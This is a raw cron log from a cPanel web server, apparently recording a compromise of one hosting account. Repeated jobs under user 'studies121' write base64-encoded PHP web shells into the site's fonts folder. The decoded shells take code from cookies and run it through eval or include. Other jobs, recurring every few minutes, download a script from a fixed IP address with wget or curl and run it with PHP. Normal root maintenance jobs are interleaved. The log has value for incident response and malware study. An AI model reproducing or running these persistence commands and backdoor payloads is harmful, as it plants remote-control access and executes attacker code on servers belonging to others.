Feb 22 12:04:01 ip-184-168-122-23 CROND[31961]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:04:01 ip-184-168-122-23 CROND[31960]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:04:01 ip-184-168-122-23 CROND[31962]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 12:04:01 ip-184-168-122-23 CROND[31964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:05:01 ip-184-168-122-23 CROND[32278]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:05:01 ip-184-168-122-23 CROND[32283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:05:01 ip-184-168-122-23 CROND[32285]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 12:05:01 ip-184-168-122-23 CROND[32281]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 12:05:01 ip-184-168-122-23 CROND[32282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:05:01 ip-184-168-122-23 CROND[32284]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 12:05:01 ip-184-168-122-23 CROND[32280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:06:01 ip-184-168-122-23 CROND[32599]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 12:06:01 ip-184-168-122-23 CROND[32602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:06:01 ip-184-168-122-23 CROND[32603]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:06:01 ip-184-168-122-23 CROND[32604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:06:01 ip-184-168-122-23 CROND[32605]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:07:01 ip-184-168-122-23 CROND[453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:07:01 ip-184-168-122-23 CROND[455]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:07:01 ip-184-168-122-23 CROND[456]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:07:01 ip-184-168-122-23 CROND[458]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:08:01 ip-184-168-122-23 CROND[837]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:08:01 ip-184-168-122-23 CROND[839]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 12:08:01 ip-184-168-122-23 CROND[840]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:08:01 ip-184-168-122-23 CROND[841]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:08:01 ip-184-168-122-23 CROND[842]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:09:01 ip-184-168-122-23 CROND[1184]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:09:01 ip-184-168-122-23 CROND[1188]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:09:01 ip-184-168-122-23 CROND[1187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:09:01 ip-184-168-122-23 CROND[1186]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Feb 22 12:09:01 ip-184-168-122-23 CROND[1189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:10:01 ip-184-168-122-23 CROND[1650]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 12:10:01 ip-184-168-122-23 CROND[1651]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 12:10:01 ip-184-168-122-23 CROND[1657]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 12:10:01 ip-184-168-122-23 CROND[1655]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:10:01 ip-184-168-122-23 CROND[1660]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:10:01 ip-184-168-122-23 CROND[1658]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 12:10:01 ip-184-168-122-23 CROND[1656]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:10:01 ip-184-168-122-23 CROND[1662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:11:01 ip-184-168-122-23 CROND[2180]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:11:01 ip-184-168-122-23 CROND[2184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:11:01 ip-184-168-122-23 CROND[2183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:11:01 ip-184-168-122-23 CROND[2182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:12:01 ip-184-168-122-23 CROND[2757]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:12:02 ip-184-168-122-23 CROND[2760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:12:02 ip-184-168-122-23 CROND[2761]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 12:12:02 ip-184-168-122-23 CROND[2763]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:12:02 ip-184-168-122-23 CROND[2762]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:13:01 ip-184-168-122-23 CROND[3325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:13:01 ip-184-168-122-23 CROND[3327]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:13:01 ip-184-168-122-23 CROND[3329]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:13:01 ip-184-168-122-23 CROND[3331]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:14:01 ip-184-168-122-23 CROND[3902]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:14:01 ip-184-168-122-23 CROND[3905]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:14:01 ip-184-168-122-23 CROND[3907]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:14:01 ip-184-168-122-23 CROND[3904]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 12:14:01 ip-184-168-122-23 CROND[3906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:15:01 ip-184-168-122-23 CROND[4373]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:15:01 ip-184-168-122-23 CROND[4375]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 12:15:01 ip-184-168-122-23 CROND[4376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:15:01 ip-184-168-122-23 CROND[4379]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 12:15:01 ip-184-168-122-23 CROND[4377]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Feb 22 12:15:01 ip-184-168-122-23 CROND[4378]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:15:01 ip-184-168-122-23 CROND[4381]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Feb 22 12:15:01 ip-184-168-122-23 CROND[4380]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:16:01 ip-184-168-122-23 CROND[4778]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 12:16:01 ip-184-168-122-23 CROND[4780]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
